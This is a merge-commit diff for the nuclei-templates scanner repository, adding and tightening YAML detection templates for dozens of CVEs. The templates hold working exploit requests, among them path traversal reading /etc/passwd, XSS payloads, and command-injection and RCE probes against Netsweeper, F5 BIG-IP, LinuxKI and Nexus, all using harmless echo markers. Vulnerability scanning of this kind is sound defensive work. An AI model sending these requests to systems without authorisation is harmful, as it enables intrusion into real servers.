Merge pull request #233 from bauthard/master

template for CVE-2020-8193 detection

GUIDE.md

@@ -563,18 +563,18 @@ variables:
   # relative path support is now added into the nuclei engine for better UX. 
   
   jira: panels/detect-jira.yaml
-  jira-cve-1: cves/CVE-2018-20824.yaml
-  jira-cve-2: cves/CVE-2019-3399.yaml
-  jira-cve-3: cves/CVE-2019-11581.yaml
-  jira-cve-4: cves/CVE-2017-18101.yaml
+  jira_cve_1: cves/CVE-2018-20824.yaml
+  jira_cve_2: cves/CVE-2019-3399.yaml
+  jira_cve_3: cves/CVE-2019-11581.yaml
+  jira_cve_4: cves/CVE-2017-18101.yaml
 
 logic: 
     |
   if jira() {
-    jira-cve-1()
-    jira-cve-2()
-    jira-cve-3()
-    jira-cve-4()
+    jira_cve_1()
+    jira_cve_2()
+    jira_cve_3()
+    jira_cve_4()
 
   }
 ```
@@ -594,14 +594,14 @@ variables:
   # relative path support is now added into the nuclei engine for better UX. 
 
   jira: panels/detect-jira.yaml
-  jira-pwn: my-jira-templates/
+  jira_pwn: my-jira-templates/
 
  # defining directory to run all the templates
 
 logic: 
     |
   if jira() {
-    jira-pwn()
+    jira_pwn()
 
   }
 ```

basic-detections/general-tokens.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}'
+
+    matchers-condition: and
     matchers:
       - type: dsl
         dsl:

cves/CVE-2017-7529.yaml

@@ -18,7 +18,13 @@ requests:
           Range: bytes=-17208,-9223372036854758792
           Accept-Encoding: gzip, deflate
           Connection: close
+
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 206
+      - type: word
+        words:
+          - Content-Range
+        part: all

cves/CVE-2018-0296.yaml

@@ -12,6 +12,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-1000129.yaml

@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
       - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
       - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-11409.yaml

@@ -12,7 +12,7 @@ requests:
     path:
       - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
       - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-11759.yaml

@@ -0,0 +1,22 @@
+id: CVE-2018-11759
+
+info:
+  name: Apache Tomcat JK Status Manager Access
+  author: Harsh Bothra
+  severity: Medium
+
+# source:- https://github.com/immunIT/CVE-2018-11759
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jkstatus'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "JK Status Manager"

cves/CVE-2018-1247.yaml

@@ -9,8 +9,14 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "application/x-shockwave-flash"
         part: header
+      - type: word
+        words:
+          - "javascript:alert(1337)"
+        part: body

cves/CVE-2018-1271.yaml

@@ -11,6 +11,7 @@ requests:
     path:
       - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
       - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-19439.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: high
 
 requests:
@@ -12,5 +12,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<script>alert(1337)</script><!--</TITLE>"
         part: body

cves/CVE-2018-20824.yaml

@@ -2,18 +2,19 @@ id: CVE-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - alert(document.domain)
+      - type: regex
+        regex:
+          - (?mi)timeout:\salert\(document\.domain\)
         part: body

cves/CVE-2018-3714.yaml

@@ -0,0 +1,19 @@
+id: CVE-2018-3714
+info:
+  name: node-srv Path Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2018-3760.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-5230.yaml

@@ -9,11 +9,12 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%281337%29%22%3E.vm"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
       - type: word
         words:
-          - "javascript:alert(1337)"
+          - "SRC=\"javascript:alert(1337)\">"
         part: body

cves/CVE-2018-6389.yaml

@@ -1,16 +0,0 @@
-id: CVE-2018-6389
-
-info:
-  name: Wordpress Load Script
-  author: nadino
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-admin/load-scripts.php?load="
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(x_powered_by,"Engine")'
-          - 'contains(content_type,"javascript")'

cves/CVE-2018-7490.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-10475.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-11510.yaml

@@ -10,6 +10,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-12314.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-14974.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-17382.yaml

@@ -0,0 +1,21 @@
+id: CVE-2019-17382
+
+info:
+  name: Zabbix Authentication Bypass
+  author: Harsh Bothra
+  severity: Critical
+  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<title>Dashboard</title>"

cves/CVE-2019-19368.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-19908.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-2588.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
       - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2019-3396.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-3396
+info:
+  author: "Harsh Bothra"
+  name: "Atlassian Confluence Path Traversal"
+  severity: High
+
+# https://github.com/x-f1v3/CVE-2019-3396
+
+requests:
+  - raw:
+      - |
+           POST /rest/tinymce/1/macro/preview HTTP/1.1
+           Host: {{Hostname}}
+           Accept: */*
+           Accept-Language: en-US,en;q=0.5
+           User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
+           Referer: {{Hostname}}
+           Content-Length: 168
+           Accept-Encoding: gzip, deflate
+           Connection: close
+
+           {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<param-name>contextConfigLocation</param-name>"

cves/CVE-2019-3799.yaml

@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-5418.yaml

@@ -12,6 +12,7 @@ requests:
       - "{{BaseURL}}"
     headers:
       Accept: ../../../../../../../../etc/passwd{{
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8449.yaml

@@ -11,7 +11,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8451.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-8451
+
+info:
+  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
+  author: "TechbrunchFR"
+  severity: medium
+
+# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
+# security issue reported in August 2019.
+
+# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in
+# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
+# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
+# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
+# network resources.
+# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
+# https://twitter.com/benmontour/status/1177250393220239360
+# https://twitter.com/ojensen5115/status/1176569607357730817
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:[email protected]'
+    headers:
+      X-Atlassian-token: no-check
+    matchers:
+      - type: word
+        name: ssrf-response-body
+        words:
+          - '<p>This domain is for use in illustrative examples in documents.'
+        part: body

cves/CVE-2019-8903.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-8982.yaml

@@ -8,6 +8,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-10199.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-10199
+
+info:
+  name: Nexus Repository Manager 3 RCE
+  auhtor: hetroublemakr
+  severity: high
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/rest/beta/repositories/go/group'
+
+    headers:
+      Content-Type: application/json
+    body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 400

cves/CVE-2020-10204.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-10204
+
+info:
+  name: Sonatype Nexus Repository RCE
+  auhtor: hetroublemakr
+  severity: high
+  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/extdirect'
+
+    body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "1787569"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-13167.yaml

@@ -0,0 +1,41 @@
+id: CVE-2020-13167
+
+info:
+  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a Python code injection in the Netsweeper
+  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
+  # prior, to execute code as the root user.
+
+  # Authentication is bypassed by sending a random whitelisted Referer
+  # header in each request.
+
+  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
+  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
+  # been confirmed exploitable.
+
+  # References:
+  # - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
+  # - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
+
+requests:
+  - method: GET
+    path:
+      # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
+      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
+      - "{{BaseURL}}/webadmin/out"
+    headers:
+      Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      Connection: "close"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-2096.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-5284.yaml

@@ -9,6 +9,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
+
+    matchers-condition: and
     matchers:
       - type: regex
         regex:

cves/CVE-2020-5405.yaml

@@ -0,0 +1,22 @@
+id: CVE-2020-5405
+
+info:
+  name: Spring Cloud Directory Traversal
+  author: Harsh Bothra
+  severity: High
+
+# source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-5410.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
       - "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2020-5902.yaml

@@ -0,0 +1,62 @@
+id: CVE-2020-5902
+
+info:
+  name: F5 BIG-IP TMUI RCE
+  author: madrobot & dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
+      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "BIG-IP release ([\\d.]+)"
+          - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+        condition: or
+        part: body
+  - raw:
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=create%20cli%20alias%20private%20list%20command%20bash
+      - |
+        POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=list%20%2Ftmp%2Fnonexistent
+      - |
+        POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+        command=delete%20cli%20alias%20private%20list
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "h3ll0_w0Rld"

cves/CVE-2020-7209.yaml

@@ -0,0 +1,27 @@
+id: CVE-2020-7209
+
+info:
+  name: LinuxKI Toolset 6.01 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
+  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
+
+  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
+    headers:
+      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nonexistent"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8115.yaml

@@ -2,18 +2,19 @@ id: CVE-2020-8115
 
 info:
   name: Revive Adserver XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "alert(1337)"
+      - type: regex
         part: body
+        regex:
+          - (?mi)window\.location\.replace\(".*alert\(1337\)

cves/CVE-2020-8191.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8191
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected XSS
+  # Leads to RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /menu/stapp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 96
+        Content-Type: application/x-www-form-urlencoded
+        X-NITRO-USER: xpyZxwy6
+
+        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</title><script>alert(31337)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8193.yaml

@@ -0,0 +1,32 @@
+id: CVE-2020-8193
+
+info:
+  name: Citrix unauthenticated LFI
+  author: pdteam
+  severity: high
+
+  # Source:- https://github.com/jas502n/CVE-2020-8193
+  # This template covers only detection part, use the above exploit for the exploit confirmation.
+
+requests:
+  - raw:
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+        X-NITRO-USER: xpyZxwy6
+        X-NITRO-PASS: xWXHUJ56
+
+        <appfwprofile><login></login></appfwprofile>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Set-Cookie: SESSID"
+        part: header
+
+      - type: status
+        status:
+          - 406

cves/CVE-2020-8194.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-8194
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: startupapp=st
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<jnlp codebase=\"nonexistent.1337\">"
+        part: body
+      - type: word
+        words:
+          - "application/x-java-jnlp-file"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8512.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8512
 
 info:
   name: IceWarp WebMail XSS
-  author: pdnuclei
+  author: pdnuclei & dwisiswant0
   severity: medium
 
 # source:- https://www.exploit-db.com/exploits/47988
@@ -13,9 +13,12 @@ requests:
     path:
       - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
       - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
-
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<svg/onload=alert(document.domain)>"
+          - "<svg/onload=alert(document.domain)>\"\">"
         part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-9757.yaml

@@ -8,8 +8,8 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{31330+'7'}}"
-      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{31330+'7'}}"
+      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
+      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
     matchers-condition: and
     matchers:
       - type: status
@@ -19,6 +19,6 @@ requests:
         words:
           - "MetaLinkContainer"
           - "canonical"
-          - "31337"
+          - "22344"
         condition: and
-        part: body
+        part: body

examples/chained-workflow-multiple-templates.yaml

@@ -10,10 +10,10 @@ variables:
   # relative path support is now added into nuclei engine for better UX.
 
   jira: panels/detect-jira.yaml
-  jira-cve-1: cves/CVE-2018-20824.yaml
-  jira-cve-2: cves/CVE-2019-3399.yaml
-  jira-cve-3: cves/CVE-2019-11581.yaml
-  jira-cve-4: cves/CVE-2017-18101.yaml
+  jira_cve_1: cves/CVE-2018-20824.yaml
+  jira_cve_2: cves/CVE-2019-3399.yaml
+  jira_cve_3: cves/CVE-2019-11581.yaml
+  jira_cve_4: cves/CVE-2017-18101.yaml
 
 logic:
   |
@@ -23,9 +23,9 @@ logic:
  # if above conditon retruns true, run all the below tempaltes.
  # if above conditon fails, no tempaltes will be executed.
 
-    jira-cve-1()
-    jira-cve-2()
-    jira-cve-3()
-    jira-cve-4()
+    jira_cve_1()
+    jira_cve_2()
+    jira_cve_3()
+    jira_cve_4()
 
   }

files/elasticsearch.yaml

@@ -12,6 +12,8 @@ requests:
       - '{{BaseURL}}:9200/_cat/indices?v'
       - '{{BaseURL}}/_all/_search'
       - '{{BaseURL}}:9200/_all/_search'
+
+    matchers-condition: and
     matchers:
       - type: word
         words:

files/jolokia.yaml

@@ -1,8 +1,8 @@
-id: jolokia instance
+id: jolokia-instance
 
 info:
   name: Jolokia Version Disclosure
-  author: mavericknerd
+  author: mavericknerd & dwisiswant0
   severity: low
 
 requests:
@@ -10,10 +10,14 @@ requests:
     path:
       - '{{BaseURL}}/jolokia/version'
       - '{{BaseURL}}:8080/jolokia/version'
+    matchers-condition: and
     matchers:
       - type: word
         words:
+          - '"timestamp":'
+          - '"protocol":'
           - '"agent":'
+        condition: and
       - type: status
         status:
           - 200

files/laravel-env.yaml

@@ -2,7 +2,7 @@ id: laravel-env
 
 info:
   name: Laravel .env file
-  author: pxmme1337
+  author: pxmme1337 & dwisiswant0
   severity: medium
 
 requests:
@@ -11,9 +11,9 @@ requests:
       - "{{BaseURL}}/.env"
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "APP_NAME"
+      - type: regex
+        regex:
+          - "(?m)^APP_(NAME|ENV|KEY|DEBUG|URL)="
       - type: status
         status:
           - 200

files/public-tomcat-instance.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - '{{BaseURL}}/manager/html'
       - '{{BaseURL}}:8080/manager/html'
+    matchers-condition: and
     matchers:
       - type: word
         words:

files/security.txt.yaml

@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}/.well-known/security.txt"
       - "{{BaseURL}}/security.txt"
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/telerik-dialoghandler-detect.yaml

@@ -10,7 +10,7 @@ requests:
       - '{{BaseURL}}/Telerik.Web.UI.DialogHandler.aspx'
     headers:
       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers-codition: and
+    matchers-condition: and
     matchers:
       - type: status
         status:

files/wordpress-directory-listing.yaml

